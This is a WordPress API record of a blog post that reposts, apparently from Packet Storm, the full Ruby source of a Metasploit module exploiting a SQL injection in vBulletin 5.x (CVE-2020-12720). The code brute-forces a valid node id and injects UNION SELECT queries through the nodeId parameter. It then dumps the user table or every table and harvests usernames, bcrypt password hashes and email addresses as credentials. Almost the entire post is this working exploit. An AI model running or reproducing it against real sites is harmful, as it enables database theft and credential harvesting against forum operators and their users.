{"id":59301,"date":"2024-08-31T23:40:47","date_gmt":"2024-08-31T20:40:47","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180699\/vbulletin_getindexablecontent_sqli.rb.txt"},"modified":"2024-08-31T23:40:47","modified_gmt":"2024-08-31T20:40:47","slug":"vbulletin-ajax-api-content_infraction-getindexablecontent-nodeid-parameter-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vbulletin-ajax-api-content_infraction-getindexablecontent-nodeid-parameter-sql-injection\/","title":{"rendered":"vBulletin \/ajax\/api\/content_infraction\/getIndexableContent nodeid Parameter SQL Injection"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>HttpFingerprint = { method: &#8216;GET&#8217;, uri: &#8216;\/&#8217;, pattern: [\/vBulletin.version = &#8216;5.+&#8217;\/] }.freeze<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;vBulletin \/ajax\/api\/content_infraction\/getIndexableContent nodeid Parameter SQL Injection&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a SQL injection vulnerability found in vBulletin 5.x.x to dump the user<br \/>table information or to dump all of the vBulletin tables (based on the selected options). This<br \/>module has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Charles Fol &lt;folcharles[at]gmail.com&gt;&#8217;, # (@cfreal_) CVE<br \/>&#8216;Zenofex &lt;zenofex[at]exploitee.rs&gt;&#8217; # (@zenofex) PoC and Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2020-12720&#8217;]],<br \/>&#8216;Actions&#8217; =&gt; [<br \/>[&#8216;DumpUser&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Dump only user table used by vbulletin.&#8217; }],<br \/>[&#8216;DumpAll&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Dump all tables used by vbulletin.&#8217; }]],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;DumpUser&#8217;,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2020-03-12&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS],<br \/>&#8216;Reliability&#8217; =&gt; []}<br \/>)<br \/>)<br \/>register_options([<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to vBulletin&#8217;, &#8216;\/&#8217;]),<br \/>OptInt.new(&#8216;NODE&#8217;, [false, &#8216;Valid Node ID&#8217;]),<br \/>OptInt.new(&#8216;MINNODE&#8217;, [true, &#8216;Valid Node ID&#8217;, 1]),<br \/>OptInt.new(&#8216;MAXNODE&#8217;, [true, &#8216;Valid Node ID&#8217;, 200]),<br \/>])<br \/>end<\/p>\n<p># Performs SQLi attack<br \/>def do_sqli(node_id, tbl_prfx, field, table, condition = nil, limit = nil)<br \/>where_cond = condition.nil? || condition == &#8221; ? &#8221; : &#8220;where #{condition}&#8221;<br \/>limit_cond = limit.nil? || limit == &#8221; ? &#8221; : &#8220;limit #{limit}&#8221;<br \/>injection = &#8221; UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 &#8220;<br \/>injection &lt;&lt; &#8220;from #{tbl_prfx}#{table} #{where_cond} #{limit_cond} &#8211;&#8220;<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;ajax&#8217;, &#8216;api&#8217;, &#8216;content_infraction&#8217;, &#8216;getIndexableContent&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;nodeId[nodeid]&#8217; =&gt; &#8220;#{node_id}#{injection}&#8221;<br \/>}<br \/>})<\/p>\n<p>return nil unless res &amp;&amp; res.code == 200 &amp;&amp; (parsed_resp = res.get_json_document) &amp;&amp; parsed_resp[&#8216;rawtext&#8217;]\n<p>parsed_resp[&#8216;rawtext&#8217;]end<\/p>\n<p># Gets the prefix to the SQL tables used in vbulletin install<br \/>def get_table_prefix(node_id)<br \/>print_status(&#8216;Attempting to determine the vBulletin table prefix.&#8217;)<br \/>table_name = do_sqli(node_id, &#8221;, &#8216;table_name&#8217;, &#8216;information_schema.columns&#8217;, &#8220;column_name=&#8217;phrasegroup_cppermission'&#8221;)<\/p>\n<p>unless table_name &amp;&amp; table_name.split(&#8216;language&#8217;).index<br \/>fail_with(Failure::Unknown, &#8216;Could not determine the vBulletin table prefix.&#8217;)<br \/>end<\/p>\n<p>table_prfx = table_name.split(&#8216;language&#8217;)[0]print_good(&#8220;Successfully retrieved table to get prefix from #{table_name}.&#8221;)<\/p>\n<p>table_prfx<br \/>end<\/p>\n<p># Brute force a nodeid (attack requires a valid nodeid)<br \/>def brute_force_node<br \/>min = datastore[&#8216;MINNODE&#8217;]max = datastore[&#8216;MAXNODE&#8217;]\n<p>if min &gt; max<br \/>print_error(&#8220;MINNODE can&#8217;t be major than MAXNODE.&#8221;)<br \/>return nil<br \/>end<\/p>\n<p>for node_id in min..max<br \/>if exists_node?(node_id)<br \/>return node_id<br \/>end<br \/>end<\/p>\n<p>nil<br \/>end<\/p>\n<p># Checks if a nodeid is valid<br \/>def exists_node?(id)<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;ajax&#8217;, &#8216;api&#8217;, &#8216;node&#8217;, &#8216;getNode&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;nodeid&#8217; =&gt; id.to_s<br \/>}<br \/>})<\/p>\n<p>return nil unless res &amp;&amp; res.code == 200 &amp;&amp; (parsed_resp = res.get_json_document) &amp;&amp; !parsed_resp[&#8216;errors&#8217;]\n<p>print_good(&#8220;Successfully found node at id #{id}&#8221;)<br \/>true<br \/>end<\/p>\n<p># Gets a node through BF or user supplied value<br \/>def get_node<br \/>if datastore[&#8216;NODE&#8217;].nil? || datastore[&#8216;NODE&#8217;] &lt;= 0<br \/>print_status(&#8216;Brute forcing to find a valid node id.&#8217;)<br \/>return brute_force_node<br \/>end<\/p>\n<p>print_status(&#8220;Checking node id &#8216;#{datastore[&#8216;NODE&#8217;]}&#8217;.&#8221;)<br \/>return datastore[&#8216;NODE&#8217;] if exists_node?(datastore[&#8216;NODE&#8217;])<\/p>\n<p>nil<br \/>end<\/p>\n<p># Report credentials to MSF DB<br \/>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: ssl ? &#8216;https&#8217; : &#8216;http&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user]}.merge(service_data)<\/p>\n<p>if opts[:password]credential_data.merge!(<br \/>private_data: opts[:password],<br \/>private_type: :nonreplayable_hash,<br \/>jtr_format: &#8216;bcrypt&#8217;<br \/>)<br \/>end<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: opts[:status],<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p># Get columns for table<br \/>def get_table_columns(node_id, table_prfx, table)<br \/>print_status(&#8220;Getting table columns for #{table_prfx}#{table}&#8221;)<br \/>columns_cnt = do_sqli(node_id, &#8221;, &#8216;COUNT(COLUMN_NAME)&#8217;, &#8216;INFORMATION_SCHEMA.COLUMNS&#8217;, &#8220;TABLE_NAME=&#8217;#{table_prfx}#{table}'&#8221;)<br \/>fail_with(Failure::UnexpectedReply, &#8220;Could not get count of columns for #{table_prfx}#{table}.&#8221;) unless columns_cnt<\/p>\n<p>columns = []for idx in 0..columns_cnt.to_i<br \/>column = do_sqli(node_id, &#8221;, &#8216;COLUMN_NAME&#8217;, &#8216;INFORMATION_SCHEMA.COLUMNS&#8217;, &#8220;TABLE_NAME=&#8217;#{table_prfx}#{table}'&#8221;, &#8220;#{idx}, #{idx + 1}&#8221;)<br \/>columns &lt;&lt; column<br \/>end<br \/>print_good(&#8220;Retrieved #{columns_cnt} columns for #{table_prfx}#{table}&#8221;)<\/p>\n<p>columns<br \/>end<\/p>\n<p># Gets rows from table<br \/>def get_all_rows(node_id, table_prfx, table, columns)<br \/>print_status(&#8220;Dumping table #{table_prfx}#{table}&#8221;)<br \/>field_var = &#8216;concat(&#8216;<br \/>columns.each do |col|<br \/>if !col.blank?<br \/>field_var &lt;&lt; &#8220;COALESCE(#{col},&#8221;),0x7C,&#8221;<br \/>end<br \/>end<br \/>field_var &lt;&lt; &#8216;\\&#8217;\\&#8217;)&#8217;<\/p>\n<p>row_cnt = do_sqli(node_id, table_prfx, &#8216;COUNT(*)&#8217;, &#8220;#{table_prfx}#{table}&#8221;)<br \/>if row_cnt.nil? || row_cnt.to_i &lt; 0<br \/>print_status(&#8216;Table contains 0 rows, skipping.&#8217;)<br \/>return nil<br \/>end<br \/>print_status(&#8220;Table contains #{row_cnt} rows, dumping (this may take a while).&#8221;)<\/p>\n<p>rows = []for r_idx in 0..row_cnt.to_i &#8211; 1<br \/>field_hash = {}<br \/>fields = do_sqli(node_id, table_prfx, field_var.to_s, &#8220;#{table_prfx}#{table}&#8221;, &#8221;, &#8220;#{r_idx}, #{r_idx + 1}&#8221;)<br \/>field_list = fields.split(&#8216;|&#8217;)<br \/>field_list.each_with_index do |field, f_idx|<br \/>field_hash[columns[f_idx.to_i]] = field.to_s<br \/>end<\/p>\n<p>unless field_hash[&#8216;username&#8217;].blank? &amp;&amp; table != \/user\/<br \/>print_good(&#8220;Found credential: #{field_hash[&#8216;username&#8217;]}:#{field_hash[&#8216;token&#8217;]} (Email: #{field_hash[&#8217;email&#8217;]})&#8221;)<br \/>report_cred(<br \/>ip: rhost,<br \/>port: datastore[&#8216;RPORT&#8217;],<br \/>user: field_hash[&#8216;username&#8217;].to_s,<br \/>password: field_hash[&#8216;token&#8217;].to_s,<br \/>status: Metasploit::Model::Login::Status::UNTRIED,<br \/>jtr_format: &#8216;bcrypt&#8217;,<br \/>proof: field_hash.to_s<br \/>)<br \/>end<\/p>\n<p>rows &lt;&lt; field_hash<br \/>end<br \/>print_good(&#8220;Retrieved #{row_cnt} rows for #{table_prfx}#{table}&#8221;)<\/p>\n<p>rows<br \/>end<\/p>\n<p># Get all tables in database with prefix<br \/>def get_all_tables(node_id, table_prfx)<br \/>print_status(&#8216;Dumping all table names from INFORMATION_SCHEMA&#8217;)<br \/>table_cnt = do_sqli(node_id, &#8221;, &#8216;COUNT(TABLE_NAME)&#8217;, &#8216;INFORMATION_SCHEMA.TABLES&#8217;, &#8220;TABLE_NAME like &#8216;#{table_prfx}%'&#8221;)<br \/>fail_with(Failure::UnexpectedReply, &#8220;Could not get count of tables with prefix: #{table_prfx}.&#8221;) unless table_cnt<\/p>\n<p>tables = []for idx in 0..table_cnt.to_i<br \/>table = do_sqli(node_id, &#8221;, &#8216;TABLE_NAME&#8217;, &#8216;INFORMATION_SCHEMA.TABLES&#8217;, &#8220;TABLE_NAME like &#8216;#{table_prfx}%'&#8221;, &#8220;#{idx}, #{idx + 1}&#8221;)<br \/>tables &lt;&lt; table<br \/>end<br \/>print_good(&#8220;Retrieved #{table_cnt} tables for #{table_prfx}&#8221;)<\/p>\n<p>tables<br \/>end<\/p>\n<p># Stores table data to file on disk<br \/>def store_data(data, name)<br \/>path = store_loot(name, &#8216;text\/plain&#8217;, datastore[&#8216;RHOST&#8217;], data.to_json, name)<br \/>print_good(&#8220;Saved file to: #{path}&#8221;)<br \/>end<\/p>\n<p># Performs all sql injection functionality<br \/>def run<br \/># Get node_id for requests<br \/>node_id = get_node<br \/>fail_with(Failure::Unknown, &#8216;Could not get a valid node id for the vBulletin install.&#8217;) unless node_id<\/p>\n<p># Get vBulletin table prefix (from known vb table &#8216;language&#8217;)<br \/>table_prfx = get_table_prefix(node_id)<\/p>\n<p>tables = action.name == &#8216;DumpAll&#8217; ? get_all_tables(node_id, table_prfx) : [&#8220;#{table_prfx}user&#8221;]tables.each do |table|<br \/>columns = get_table_columns(node_id, &#8221;, table)<br \/>rows = get_all_rows(node_id, &#8221;, table, columns)<br \/>store_data(rows, table.to_s) unless rows.nil?<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HttpClient HttpFingerprint = { method: &#8216;GET&#8217;, uri: &#8216;\/&#8217;, pattern: [\/vBulletin.version = &#8216;5.+&#8217;\/] }.freeze def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;vBulletin \/ajax\/api\/content_infraction\/getIndexableContent nodeid Parameter SQL Injection&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a SQL injection vulnerability found in vBulletin 5.x.x to dump the usertable information &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59301","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59301","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59301"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59301\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59301"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59301"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59301"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}